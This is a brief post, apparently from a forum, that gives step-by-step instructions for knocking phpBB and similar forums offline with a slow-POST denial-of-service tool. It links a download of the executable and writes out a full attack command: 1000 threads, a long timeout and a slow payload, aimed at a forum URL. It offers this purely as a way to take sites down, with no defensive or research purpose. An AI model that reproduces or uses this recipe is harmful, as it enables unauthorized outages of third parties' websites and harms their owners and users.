Easy slowpost

How to (quickly) take down forums with slowpost Using phpbb as example (Obviously this doesn't work with all forums but it works on quite many of them)
1. Get slowpost http://www.multiupload.com/I6QANULWSA
2. Open up command prompt in the folder which you saved slowpost.exe in
3. Run slowpost.exe --target http://randomphpbbforum.org --port http --posturl viewforum.php?f= --timeout 800 --payload 4096 --sleep 200 --sleepdelta 1000 --threads 1000
4. If the hosting software was vulnerable the site should be down.
